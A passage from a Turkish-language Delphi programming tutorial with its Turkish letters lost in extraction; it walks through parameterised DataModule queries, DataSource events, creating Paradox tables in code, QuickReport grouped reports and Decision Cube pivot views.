Data Module erisinde Parametre Oluturmak: Bu Defa daha karmak bir yapya sahip olan DataModule ierisinde parametre oluturma ilemine deineceim. rneimiz iin aadaki ekilde ierisinde DBGrid , DBNavigator , Button ve Edit kontrollerinin yer ald form tasarmn oluturunuz.

Artk projemize Data Module ekleyerek ierisinde parametre oluturalm. File->New->Other->Data Module seeneklerini izleyerek projenize bir adet Data Module nesnesi ekleyiniz. kinci admda Data Module ierisine BDE yapranda yer alan Query kontroln srkleyin. Query kontrolnn DataBase Name zelliine aliasnzn ismini aktarn (gazi). Ardndan SQL zelliine tklayarak aadaki sorgu komutunu giriniz.

155

OK Dmesine tklayn. Bu admda Query kontrolnn Active zelliine true deerini aktarn. Formunuza Data Access yapranda yer alan Data Source nesnesinden ekleyerek DataSet zelliine Query1 kontroln aktarn.

Son olarak aadaki kod blounu formunuza ait Unit pencerenize ekleyiniz. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, DBCtrls, ExtCtrls, Grids, DBGrids,StdCtrls, unit3;//ekleyin //DataModule3 e ulaabilmek iin ekleyeceksiniz. procedure TForm1.Button1Click(Sender: TObject); begin DataModule3.Query1.SQL.Clear; DataModule3.Query1.SQL.Add('Select * fROM magaza Where MAGAZAADI=:MAG');//parametre yaratlyor DataModule3.Query1.Params[0].AsString:=Edit1.Text; DataModule3.Query1.Open; end; Artk programnz altrabilirsiniz. Maaza ismini Edit kontrolne girip Parametre isimli dmeye tklaynz.

Yazm olduunuz maaza ismine Data Module kullanarak ulaabileceinizi greceksiniz. 156

kolayca

DataSource Kontrol: Tablonuza ait kaytlarn Data Controls yapranda yer alan kontrollere aktarlabilmesi (veya tam tersi) iin kullandmz ok nemli bir kontroldr. ok fazla zellii olmamakla beraber, var olan bir ka zellik ar nem arz etmektedir. Aada kontrole ait kullanlan zellik ve yordamlar izah edilmektedir. DataSource1.DataSet Bu zellik sayesinde kaynak olarak kullanlacak olan tablo kontrol belirlenebilir. Balanlan kaynaktaki tm kaytlar bu aamadan sonra formunuzun zerindeki kontrollere aktarlabilecektir. procedure TForm1.FormCreate(Sender: TObject); begin Table1.DatabaseName:='gazi'; Table1.TableName:='MAGAZA'; DataSource1.DataSet:=Table1;//Kaynaa balan DBGrid1.DataSource:=DataSource1; Table1.Active:=TRUE;//kaytlar gster end; DataSource1.AutoEdit Varsaylan deeri true olan bu zellik tabloda yanllkla yaplabilecek olan deiiklikleri engellemek iin kullanlmaktadr. ayet false deerini aktarrsanz, kullanc DBNavigator kontrolndeki Edit dmesine basmadan veya Table1.Edit komutunu armadan kontrollerdeki bilgileri deitiremiyecektir. zellii anlamanz iin aadaki tasarm oluturup uygulamanz altrnz.

Fornunuzun zerine bir adet Table bir adet DataSource bir adet DBNavigator ve bir adet DBGrid kontrol yerletirmek yeterli olacaktr. 157

Aada vereceim koda dikkat ediniz. nk DataSource kontrolne ait AutoEdit zelliine false deeri aktarlmaktadr. Bu sayede kullanc mous ile tklayarak kaytlarda deiiklik yapamaz. procedure TForm1.FormCreate(Sender: TObject); begin Table1.DatabaseName:='gazi'; Table1.TableName:='MAGAZA'; DataSource1.DataSet:=Table1; DataSource1.AutoEdit:=false; //daitirmeye izin verme DBGrid1.DataSource:=DataSource1; DBNavigator1.DataSource:=DataSource1;//Kayna Ynet Table1.Active:=TRUE; end; imdi programnz altrp herhangi bir kayd deitirmeye aln, baaramayacaksnz.

Bu aamada kaytlarnz zerinde deiiklik yapabilmeniz iin DBNavigator kontrolnde yer alan Edit (sadan drdnc dme) dmesini kullanmanz gerekecektir. OnDataChange Yordam Tabloda yer alan kaytlarda yaplan deiikliklerde otomatik olarak ileyen bir yordamdr. Yani bulunduunuz kayd deitirirseniz veya kayt gezinti dmelerinden herhangi bir tanesini kullanrsanz yordam otomatik olarak iletirsiniz. Master-Detail tablo yapsnda bu yordam kullanlarak Detail tablosuna ait kaytlar listelenebilmektedir. Aadaki rnekte bu yordam kullanlarak ana tablodaki kayt deitii zaman yavru tabloda da sadece aktif kayttaki bilgiler gsterilmektedir.

158

Uygulamamz iin formunuza bir adet Table , bir adet Query iki adet DBGrid, iki adet DataSource ve iki adet DBNavigator kontrol yerletirerek aadaki tasarm oluturunuz.

Programa ait kod blou aada verilmitir. Tamamn dikkatlice inceleyiniz. procedure TForm2.FormCreate(Sender: TObject); begin //Birinci Tablo Ayarlar Yaplyor Table1.DatabaseName:='gazi'; Table1.TableName:='MAGAZA'; DataSource1.DataSet:=Table1; DBGrid1.DataSource:=DataSource1; DBNavigator1.DataSource:=DataSource1; Table1.Active:=TRUE; //kinci tablo ayarlar yaplyor. Query1.SQL.Clear; Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Table1.Fields[0].AsString;//maazaad stunu Query1.Open; 159

DataSource2.DataSet:=Query1; DBGrid2.DataSource:=DataSource2; DBNavigator2.DataSource:=DataSource2; Query1.Open; end; procedure TForm2.DataSource1DataChange(Sender: TObject; Field: TField); begin Query1.SQL.Clear; Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Table1.Fields[0].AsString; Query1.Open; DataSource2.DataSet:=Query1; DBGrid2.DataSource:=DataSource2; Query1.Open; end; Artk programnz altrabilirsiniz. Ekran grntnz aadaki ekilde gerekleecektir.

lk tabloda hangi maaza kaydn seerseniz, sadece o maazaya ait yaplm olan servisleri ikinci tabloda listeleyeceksiniz. 160

OnUpdateData Yordam Kaytlar veri tabanna yazlmadan hemen nce ileyen bir yordamdr. Yani yaptnz deiikliklerin tablonuza yansmasndan hemen nce iletilecektir. Tablonuza ait kayt bilgileri zerinde bu yordama yazacanz kodla gerekli kontrol salayabilirsiniz. DBNavigator kontrolnde yer alan Uygula (sadan nc) dmesine tklamanz bu yordamn iletilmesini salayacaktr. procedure TForm2.DataSource1UpdateData(Sender: TObject); begin ShowMessage('Kaytlar Tabloya lendi'); end; OnStateChange Yordam Bu yordam kullanarak DataSource kontrolnn bal olduu kaynan (Table-Query veta Stored Proc) deiip deimediini kontrol edebilirsiniz. State zelliinin deitirilmesi bu yordamn iletilmesini salayacaktr. procedure TForm2.DataSource1StateChange(Sender: TObject); begin ShowMessage('Balant Kayna Deiti'); end; Uyar: DataSource nesnesi ile alrken Auto Edit zelliine true deerini aktarmanz tavsiyemiz olacaktr.

161

Kodla Tablo Oluturmak: Uygulamalarnzda tablolarnz genellikle DataBase Desktop kullanarak oluturacaksnz. Yanlz aada izah edeceim yntemlerle tm oluumu kodla yaptrrsanz bir ok durumda ok byk esneklik kazanacaksnz. Kodla tablo oluturabilmek iin uses satrna DBTables ktphanesini eklemeniz gerekecektir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, DB, DBTables;//eklemeyi unutmaynz. imdi tablo oluturma admlarna geelim. lk olarak aadaki ekilde tablo ilemlerinizi yrtebileceiniz deikeni tanmlamlsnz (nk BDE yaprandan srkleme yaplmayacaktr). procedure TForm3.FormCreate(Sender: TObject); Var tablo:TTable; begin tablo:=TTable.Create(Form3);//nesneyi yarat end; tablo.DatabaseName Bu zellik sayesinde tabloyu kaydedebileceiniz klasr belirleyebilirsiniz. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat';//buraya kaydet end; tablo.TableType Hangi veri tabanna ait tablo yaratacanz bu zellikle belirleyebilirsiniz. Yaratacanz tablo Paradox , Dbase vs olabilmektedir. Aadaki rnekte paradox veri taban zelliklerini tayan bir tablo yaratlmaktadr. Dilerseniz siz Dbase e ait bir tablo yaratabilirsiniz.

162

procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; end; tablo.FieldDefs.Clear Tablo stunlarn temizlemek iin kullanlan methoddur. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear;//temizle end; tablo.TableName Tabloya isim verme ilemini bu zellikle gerekletirebilirsiniz. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; end; tablo.FieldDefs.Add Tablo stunlarn bu method sayesinde belirleyebilirsiniz. Bu methodla tablonuza dilediiniz kadar stun ekleyebilirsiniz. 163

procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear; tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE); TABLO.FieldDefs.Add('ADISOYADI',ftString,25,FALSE); tablo.FieldDefs.Add('ADRES',ftString,25,FALSE); end; Yukardaki rneklemede zeki isimli tabloya adet stun eklenmnitir. Ekleme ilemi srasnda drt adet parametre kullanlmtr. imdi bu parametrelerin ne ie yaradklarn izah edeceim. Birinci parametre stuna ait ismi, ikinci parametre o stuna ait veri tipini, nc parametre ka karakterden oluacan (sayisal ieriklerde 0 verebilirsiniz), drdnc parametre ise bo geilip geilemeyeceini belirlemektedir. ayet true deeri aktarlrsa o stuna bilgi girii zorunlu hale gelecektir. tablo.IndexDefs.Clear Tabloda daha nceki indexleri temizlemek iin kullanlan komuttur. procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.IndexDefs.Clear;//temizle end; tablo.IndexDefs.Add Yarattnz tabloya index eklemek iin kullanlan methoddur. Bu methodu kullanarak birden fazla index belirleyebilirsiniz. Aadaki rnekte tablonuz iin nasl index yaratabileceiniz gsterilmektedir. Method ierisinde parametre kullanlmaktadr, parametrelerin ne ie yaradklarndan bahsedeceim. 164 imdi sizlere bu

procedure TForm3.FormCreate(Sender: TObject); var tablo:TTable; begin tablo:=TTable.Create(Form3); TABLO.IndexDefs.Clear; tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]);//index yarat end; Birinci parametre indexinizin ismini, ikinci parametre hangi stunun index olarak tanmlandn, nc parametre ise indexinizin ne tipte olacan (Primary Unique vs) belirlemektedir. tablo.CreateTable Tabloya ait tm zellikler belirlendikten sonra bu komut sayesinde tablonuz yaratlacaktr. Aada tablo yaratmak iin tm kod verilmektedir. procedure TForm3.FormCreate(Sender: TObject); //Tablo yarat var tablo:TTable; begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear; tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE);//ilk stun tablo.FieldDefs.Add('ADISOYADI',ftString,25,FALSE);//ikinci stun tablo.FieldDefs.Add('ADRES',ftString,25,FALSE);//nc sutun TABLO.IndexDefs.Clear; tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]); tablo.CreateTable;//Tabloyu yarat end; Yukardaki kod blounu iletirseniz zeki isminde paradox veri tabanna ait tablonuz c:\nihat klasrnn ierisinde oluturulacaktr. Bu tip tablo yaratma ilemlerinde daha nce fonksiyonlar ksmnda gsterilen komutlarla tablonun var olup olmadn kontrol ederseniz ilemleriniz daha gvenli bir ekilde gerekleecektir.

165

procedure TForm3.Button1Click(Sender: TObject); var tablo:TTable; begin if FileExists('c:\nihat\zeki.db')=false Then//tablo yoksa yarat begin tablo:=TTable.Create(Form3); tablo.DatabaseName:='C:\nihat'; tablo.TableType:=ttParadox; tablo.TableName:='zeki'; tablo.FieldDefs.Clear; tablo.FieldDefs.Add('SIRANO',ftInteger,0,TRUE); tablo.FieldDefs.Add('ADISOYADI',ftString,25,FALSE); tablo.FieldDefs.Add('ADRES',ftString,25,FALSE); tablo.IndexDefs.Clear; tablo.IndexDefs.Add('siraindex','SIRANO',[ixPrimary]); tablo.CreateTable;//Tabloyu yarat ShowMessage('Tablo Yaratld'); end else ShowMessage('Tablo Zaten Var'); end; Kodu altrdktan sonra c:\nihat klasr aadaki ekilde gzkecektir.

166

BLM 5 RAPOR DOSYASI OLUTURMAK

167

168

Rapor Dosyalar Oluturmak: u ana kadar ilenen blmlerde oluturduumuz arayzler sayesinde kontrolleri kullanarak eitli bilgileri tablo halinde Harddiske kaydetme ilemini gerekletirdik. imdiki blmde ise kaydettiimiz bu tablolara ait bilgileri yazcya dzgn bir ekilde gnderme ilemini gerekletireceiz. Yazdnz kodlar ne kadar gzel olursa olsun, iinizin devamnn getirilebilmesi iin unutmaynzki rapor sayfalarnz ok dzgn ekilde oluturulmaldr. Delphi ierisinde rapor oluturabilmek iin iki ynteminiz bulunmakta. Birincisi Rave kontrolleri ile rapor, ikincisi ise Qreport yaprandaki kontrolleri kullanarak rapor oluturmaktr. Biz Qreport yapran kullanarak rapor oluturacaz. Bu yaprak varsaylan olarak yklenmemitir, bu yzden doru klasrden ykleme ilemini gerekletirmelisiniz. Aada Qreport yapran yklemek iin izleyeceiniz admlar gsterilmitir. Component->Install Packages admlarn izleyin. Add Buttonuna basarak aadaki adresteki dosyay sein. C:\ProgramFiles\Borland\Delphi7\Bin\dclqrt70.bpl Ok Basn.

Qreport yaprann eklendiini greceksiniz. imdi bu yapraktaki kontrolleri kullanarak nasl rapor oluturabileceinizi gstereceim. Rapor oluturmak iin formunuzun zerinde muhakkak kaynak tablo ile balants olan Table veya Query veya Stored Procedure kontrollerinden bir tanesinin bulunmas gerekmektedir. Bu yzden ilk olarak yazdracanz tabloya ait balant ilemlerini kesinlikle gerekletirmek zorundasnz. Balant ilemlerini baarl bir ekilde gerekletirdikten sonra aadaki kontrolleri kullanarak kolaylkla sonderece profesyonel rapor dkmanlar oluturabilirsiniz. Her ne kadar rnek zerinde daha detayl altrmalar yaplacak olsa da yinede bu yapraktaki kontrollerden ksaca bahsetmek istiyorum. 169

QuickRep Kontrol: Rapor oluturmak iin kullanlmas zorunlu olan bir kontroldr. Tm sayfa yapsn zelliklerini ve dier kontrolleri zerinde barndracaktr.Bir ok band bulunmaktadr. Bu bandlar kullanlarak dier kontroller ilgili yerlere yerletirilebilmektedir. QRSubDetail Kontrol: QuickRep kotrolne yavru band eklemek iin kullanlan bir kontroldr. QRBand Kontrol: QuickRep kontrolne band eklemek iin kullanlan kontroldr. Bandn tipi daha sonra deitirilebilmektedir. QRGroup Kontrol: ayet raporda gruplandrma yaplacaksa kullanlmas gereken bir kontroldr. QRLabel Kontrol: Bantlara etiket eklemek iin kullanlan kontroldr. Tm aklama verileri iin bu kontrol kullanlmaktadr. QRDBText Kontrol: Tablo stunlar ile balant kuracak olan kontroldr. QRExpr Kontrol: Dier hcre deerlerini kullanarak hesap yapabilen bir kontroldr. Alt Toplam, Genel Toplam hesaplattrlrken bu kontrolden faydalanlr. QRSysData Kontrpol: Sayfa numaras, toplam sayfa , tarih, saat vs gibi deerleri yazdrabilen kontroldr. QRMemo Kontrol: Uzun karakterli verileri yazdrmak iin kullanlan kontroldr. Bu kontrolle dilediiniz kadar aklama satrn yazdrabilirsiniz. 170

QRRichText Kontrol: Farkl formattaki ierikleri yazdrmak iin kullanlan kontroldr. QRShape Kontrol: Geometrik ekilleri izdirmek iin kullanlan kontroldr. Bu kontrol sayesinde daire, izgi, elips,halka vs izdirebilirsiniz. QRImage Kontrol: Resim ierikli verileri bastrmak iin kullanlan kontroldr. Bilhassa firmaya ait logoyu bu kontrolle bastrabilirsiniz. QRDBImage Kontrol: Tabloda yer alan resimleri yadrmak iin kullanlan kontroldr. Aadaki tabloyu oluturup ierisindeki kaytlar yazcya gnderelim.
Fieeld Name(Stun smi) SIRANO MAGAZAADI SERVISTARIHI GIDENFIRMA ARIZASEBEBI FATURATUTARI Type(Tipi) + A D A A $ 25 25 25 Size (Ka Karakter) Otomatik artar Key(Primary ind) * Secondary Index

lk olarak formunuza bir adet Table (Query de olabilirdi) nesnesi yerletirin. Ardndan table nesnesi ile tablonuz arasndaki balanty gerekletirin (DataBaseName ile TableName zelliklerini ayarlayn). Table nesnenizin (Table1) Active zelliini true yapn. Bu admda formunuza bir adet QuickRep kontrol tayp brakn. QuickRep kontroln Object Inspector penceresinden Dataset zelliine Table1 deerini girin. Tekrar QuickRep kontroln sein ve Object Inspector penceresinde yer alan Bands zelliinin solundaki + iaretine tklayn. Alt seenekleri alacaktr. Alan bu bandlardan HasTitle olan zellii true yapn. Delphi otomatik olarak Title bandn QuickRep kontrolnn ierisinde oluturacaktr. Bu banda yerletirilecek ierikler sadece raporunuzun ilk sayfasnn balangcnda yer alacaktr. Dier sayfalara bu bandn herhangi bir etkisi yoktur.

171

HasTitle band aktifletirildikten sonra QuickRep kontrolne ait grnt aadaki ekilde gerekleecektir.

HasTitle bandna raporunuzun baln belirlemek iin bir adet QRLabel kontrol yerletirip ieriine (Caption zelliine) MAAZA SERVS TAKP ZELGES yazn. Yapm olduunuz deiikliklerin rapor grntsn almak iin QuickRep kontrol zerinde mousun sa tuuna tklayp Preview komutunu verebilirsiniz. QuickRep kontroln seip Object Inspector penceresinden HasColumnHeader bandna true deerini aktarn. Bu band stun balklarnn gsterilecei banddr, rapor sayfalarnzn tamamnn balnda gzkecektir. Bu banda da be adet QRLabel kontrol yerletirip ieriklerini stun balklarn gsterecek metinle doldurun.

172

QuickRep kontroln seip Object Inspector penceresinden HasPageHeader bandna true deerini aktarn. Tm sayfalarda gzkmesini isteyeceiniz st bilgiler iin bu band kullanabilirsiniz. Bu banda QRSysData kontrolnden bir adet yerletirip, Object Inspector penceresinden Data zelliine qrsDate deerini aktarn. Bu kontrol artk aktif raporun baslma tarihini gsterecektir.

Bu admda tekrar QuickRep kontroln seip Object Inspector penceresinden HasDetail bandna true deerini aktarn. Tablo stun bilgilerinin yer ald blm bu ksmdr. Bu banda be adet QRDBText kontrol yerletirip aadaki ayarlar herbiri iin ayr ayr yapn. Birinci QRDBText kontroln seip Object Inspector penceresinden DataSet zelliine Table1, DataField zelliine de gsterecei stun deerlerini aktarn. Bu ilemi 5 kontrol iin de ayr ayr yapn.

173

imdiki ilemimiz QuickRep kontroln seip Object Inspector penceresinden HasPageFooter bandn aktifletirmek olacak. Bu band rapor sayfalarnn hepsinde alt bilgi olarak kullanlacaktr. Genellikle sayfa says veya toplam sayfa adedi gibi etiketlerin yer ald blmdr. Bu ksma QRSysData kontrolnden bir adet yerletirip Data zelliine qrsPageNumber deerini aktarn. Bu ilemden sonra kontrol aktif sayfa saysn gsterecektir. Basit raporlama iin aktifletireceimiz son band HasSummary banddr. Bu band raporunuzun en sonunda gzkecek olan ksmdr. Genellikle rapor toplamlarna ait hesaplamalarn yaptrlaca yerdir. Bu banda yerletireceiniz QRExp kontrol sayesinde tablo stunlarnza ait fonksiyonel hesaplatmalar yaptrabilirsiniz. imdi bir adet (FATURATUTARI stununun alt hizasna) QRExp kontroln bu banda yerletirip Expression zelliine tklayn, aadaki pencere alacaktr.

Function ve DataField dmelerini kullanarak yukarda gsterilen forml Expression penceresine girin. OK Basn. Bu aamada raporunuza preview komutunu verirseniz QRExp kontrol ierisinde hesaplanan deerin parasal formata evrilmeden gsterildiini greceksiniz. Aksakl dzeltmek iin QRExp kontroln seip Mask zelliine ###,###,### TL deerini aktarp raporunuzun nizlemesini aln. Yine HasSummary bandna QRLabel kontrol yerletirerek (QRExp kontrolnn etiketi olacak ekilde soluna yerletirin) Caption zelliine TOPLAM FATURA TUTARI yazn. Raporunuzu bask nizleme konumuna getirirseniz grntnz aadaki ekilde oluacaktr. 174

Bu admda stun balklarnn altna kaln izgi, kaytlarn altlarna da ince izgi ekmeyi gstereceim. QrShape kontrolnden bir adet stun balklarnn altna (ColumHeader band) boydan boya izin. Varsaylan olarak Shape zellii qrsRectangle dr. Yani dikdrtgen izer. Bu zellie qrsHorLine deerini aktarn ve Pen zelliinin altnda yer alan Width deerine 3 girip preview grntsn aln. Ayn ilemi Detail band bileenlerinin (QRDBText kontrolleri) altnda da yapn fakat width deerini deitirmeyin.

175

Gruplandrlm Rapor Dosyas Oluturmak: Yukardaki raporda, kaytlara dikkat edecek olursanz satrlar kayt giri srasna gre oluturulmutur. imdiki ilemimizde ayn maaza ismine sahip olan kayitlarn alt alta ve grup halini alm ekilde listelenmesini salayacaz. Aada bu husus adm adm izah edilmektedir. lk olarak formunuza bir adet Table (Query de olabilirdi) nesnesi yerletirin. Ardndan table nesnesi ile tablonuz arasndaki balanty gerekletirin (DataBaseName ile TableName zelliklerini ayarlayn). Table nesnenizin (Table1) Active zelliini true yapn. Bu admda formunuza bir adet QuickRep kontrol tayp brakn. QuickRep kontroln Object Inspector penceresinden Dataset zelliine Table1 deerini girin. Tekrar QuickRep kontroln sein ve Object Inspector penceresinde yer alan Bands zelliinin solundaki + iaretine tklayn. Alt seenekleri alacaktr. Alan bu bandlardan HasTitle olan zellii true yapn. Delphi otomatik olarak Title bandn QuickRep kontrolnn ierisinde oluturacaktr. Bu banda yerletirilecek ierikler sadece raporunuzun ilk sayfasnn balangcnda yer alacaktr. Dier sayfalara bu bandn herhangi bir etkisi yoktur. HasTitle bandna raporunuzun baln belirlemek iin bir adet QRLabel kontrol yerletirip ieriine (Caption zelliine) MAAZA SERVS TAKP ZELGES yazn. Yapm olduunuz deiikliklerin rapor grntsn almak iin QuickRep kontrol zerinde mousun sa tuuna tklayp Preview komutunu verebilirsiniz. QuickRep kontroln seip Object Inspector penceresinden HasColumnHeader bandna true deerini aktarn. Bu band stun balklarnn gsterilecei banddr, rapor sayfalarnzn tamamnn balnda gzkecektir. Bu banda da be adet QRLabel kontrol yerletirip ieriklerini stun balklarn gsterecek metinle doldurun. QuickRep kontroln seip Object Inspector penceresinden HasPageHeader bandna true deerini aktarn. Tm sayfalarda gzkmesini isteyeceiniz st bilgiler iin bu band kullanabilirsiniz. Bu banda QRSysData kontrolnden bir adet yerletirip, Object Inspector penceresinden Data zelliine qrsDate deerini aktarn. Bu kontrol artk aktif raporun baslma tarihini gsterecektir. Buraya kadar olan ksm yukardaki rnekle ayn olacaktr. imdi gstereceim admlar gruplandrma ilemini gerekletirecektir. Dikkatlice inceleyiniz

176

Qreport yapranda yer alan QRGroup kontrolnden bir adet QuickRep kontrolnn zerine yerletirin. Otomatik olarak GroupHeader zelliini alacaktr. Bu banda gruplandrma yapacanz stun veya stunlar yerletirebilirsiniz. Qreport yaprandan bir adet QRDBText kontron MAGAZAADI stununun altna gelecek ekilde yerletirin. DataSet zelliine Table1, DataField zelliine de MAGAZAADI stununu aktarn. Mousun sa tuuna basp Preview grnts alrsanz, aadaki ekran grntsyle karlarsnz.

Raporun MAGAZAADI stununa gre alfabetik srada olumasnn sebebi Object Inspector penceresinden Index Name zelliine paradox tablosunda secondary index olarak tanmlanm olan MAGAZAADIINDEX deerinin aktarlm olmasndan kaynaklanmaktadr (Gruplandrma yapacanz stunu tablonuzda index tanmlamal ve aktif hale getirmelisiniz. ayet Query kontroln kaynak olarak kullandysanz, o zaman indexe gerek olmayp sadece gruplandrma yapacanz stuna gre Order By komutunu kullanmalsnz). Bu admda QuickRep kontroln seip Daha nce anlatld gibi Object Inspector penceresinden HasDetail bandna true deerini aktarn. Bu bandn ierisine drt (4) adet QRDBText kontrol yerletirin. Drt tane dememizin sebebi MAGAZAADI stunu ieriini gsterecek olan kontrol GroupHeader bandna yerletirilmitir. Geriye kalan drdn bu banda yerletirmelisiniz. Drt kontrol iin DataSet ve 177

DataField zelliklerini ayarlayn. Raporun tasarm anndaki en son grnts aada verilmitir.

Yine bu adm gruplandrma ilemi iin ok nemli, Qreport yapranda yer alan QRBand kontrolnden bir adet QuickRep kontrolnn zerine izin. Varsaylan olarak Title band gzkecektir. Bu bandn Object Inspector penceresinden BandType zelliine rbGroupFooter deerini aktarn. imdi daha nceden eklemi olduunuz QRGroup1 bandn seip Object Inspector penceresinden Footer Band zelliine QRBand1 deerini aktarn. Artk bu iki band grup ilemleri iin egdml olarak alacaktr. Bu admda QRBand1 (Group Footer) kontrolne bir adet QRExp kontrol yerletirin. Expression zelliine tklayarak aadaki forml girin.

178

Yapm olduunuz bu hesaplamann etiketini belirlemek amal QRBand1 kontrolne bir adet QRLabel kontrol yerletirip Caption zelliine ALT TOPLAM ieriini girin (QRExp kontrolnn hemen soluna). Tekrar QRGroup bandn (Group Header) seerek Expression zelliine aadaki forml girin (Gruplandrma yapaca stunu belirtmek gerekiyor).

179

QuickRep kontroln seip mousun sa tuuna tklayn. Alan menden Preview seeneine tklarsanz yukardaki grntyle karlarsnz. Her maazann altnda, alt toplam olarak sonularn gsterildii sanyorum dikkatinizi ekmitir. imdiki ilemimiz QuickRep kontroln seip Object Inspector penceresinden HasPageFooter bandn aktifletirmek olacak. nceki rnekte izah edildii gibi bu band rapor sayfalarnn hepsinde alt bilgi olarak kullanlacaktr. Genellikle sayfa says veya toplam sayfa adedi gibi etiketlerin yer ald blmdr. Bu ksma QRSysData kontrolnden bir adet yerletirip Data zelliine qrsPageNumber deerini aktarn. Bu ilemden sonra kontrol aktif sayfa saysn gsterecektir. Gruplandrlm rapor oluturmak iin aktifletireceimiz son band HasSummary banddr. imdi bir adet (FATURATUTARI stununun alt hizasna) QRExp kontroln bu banda yerletirip Expression zelliine tklayn, aadaki pencere alacaktr.

Function ve DataField dmelerini kullanarak yukarda gsterilen forml Expression penceresine girin. OK Basn. Bu aamada raporunuza preview komutunu verirseniz QRExp kontrol ierisinde hesaplanan deerin parasal formata evrilmeden gsterildiini greceksiniz. Aksakl dzeltmek iin QRExp kontroln seip Mask zelliine ###,###,### TL deerini aktarp raporunuzun nizlemesini aln. Yine HasSummary bandna QRLabel kontrol yerletirerek (QRExp kontrolnn etiketi olacak ekilde soluna yerletirin) Caption zelliine TOPLAM FATURA TUTARI yazn.

180

Raporunuzu bask nizleme konumuna getirirseniz grntnz aadaki ekilde oluacaktr.

Group Footer ksmnda yer alan Alt Toplam deerinin kmlatif (Bir nceki alt toplama eklenerek) gittiine dikkat etmisinizdir. ayet her toplamn birbirinden bamsz olarak gsterilmesini isterseniz o zaman aadaki admlar izlemelisiniz. Group Footer bandnda yer alan QRExp1 kontroln sein. Object Inspector penceresinde yer alan ResetAfterPrint zelliine true deerini aktarn. Bu aamadan sonra mousun sa tuuna tklayp Preview komutunu verirseniz, Group Footer ksmnda yer alan tm hesaplatmalar (birden fazla hesaplatma yaptrabilirsiniz) birbirlerinden bamsz olarak yaplacaktr. Yani hesaplanan maazaya ait tutara bir nceki maazann toplam deeri eklenmeyecektir.

181

Aada raporun en son tasarm grnts ile Print preview grnts verilmektedir.

Dikkat edin alt toplam deerleri artk kmlatif deil, birbirlerinden tamamen bamsz olarak hesaplanmaktadr.

182

Rapor Dosyasna Uygulamanzdan Erimek: Oluturduunuz raporunuzun bask nizleme grntsne, program ierisinden nasl ulaabileceiniz hususu nem arz etmektedir. Dorusunu isterseniz fazla bir uraa gerek yok ama bilinmesi gerekmektedir. Aadaki uygulamada Form1 zerinde oluturulmu bir raporu Form5 zerine yerletirilecek Button kontrolnn OnClick yordamndan aalm. Aadaki kod blounu kullanabilirsiniz.

uses Unit1; //eklemeyi unutmaynz. {$R *.dfm} procedure TForm5.Button1Click(Sender: TObject); //Bask nizleme Al begin Form1.QuickRep1.Preview;//Bask nizleme yap end;

183

184

BLM 6 DECISION CUBE ILE ZET TABLO GRNTLER OLUTURMAK

185

186

Decision Cube Kontrolleri: Excel kullandysanz bilirsiniz, tablolara ait zet grnmler elde etmek iin kullanlan Pivot Table yaps gibi zet tablo bilgilerini kullancya seenekli olarak gsterebilen bir yapraktr. Bu yaprakta bulunan kontroller birbirleriyle i ie altklar iin, teker teker deil hepsini beraberce inceleyeceiz. Aada adm adm Decision Cube kontrollerini nasl kullanabileceiniz aklanmaktadr. Dikkatlice inceleyiniz. lk Olarak Tablo Bilgilerini zet tablo grnts olarak kullancya nasl gsterebileceinizi izah etmek istiyorum. Tablo Kaytlarn zet Tablo Olarak Listelemek: Birinci adm Formunuzun zerine bir adet DecisionQuery kontrol yerletirerek zerine mous ile ift tklayn. Aadaki pencere alacaktr.

Decision Query Editor penceresinde ilk olarak Database kutusu ierisinden tablonuzun ierisinde yer ald Alias ismini sein. Ardndan Table kutusunda o klasrde kaytl tm tablolar listelenecektir. zet grnt alacanz tabloyu sein. Tablonuzu setikten sonra, ierisinde yer alan tm stunlar List of Available Fields listesinde gzkecektir. MAGAZAADIGIDENFIRMA stunlarn seerek Dimensions penceresine, FATURATUTARI stununuda Sum seerek Summaries 187

penceresine aktarn. SQL Query yaprana geerek Delphi nin oluturduu sorgu komutlarn inceleyebilirsiniz. Bu admda formunuza bir adet DecisionCube kontrol yerletirerek DataSet zelliine DecisionQuery1 deerini aktarn. Kaynaktaki bilgileri form zerindeki kontrollere aktarmak iin formunuza bir adet DecisionSource kontrol yerletirip DecisionCube zelliine DecisionCube1 deerini aktarn. Verileri listelemek iin formunuzun zerine yine DecisionCube yapranda yer alan DecisionGrid kontrol yerletirerek, DecisionSource zelliine DecisionSource1 deerini aktarn. Son olarak DecisionQuery1 kontrolne ait Active zelliini true yapp programnz altrn. Ekran grntnz aadaki ekilde oluacaktr.

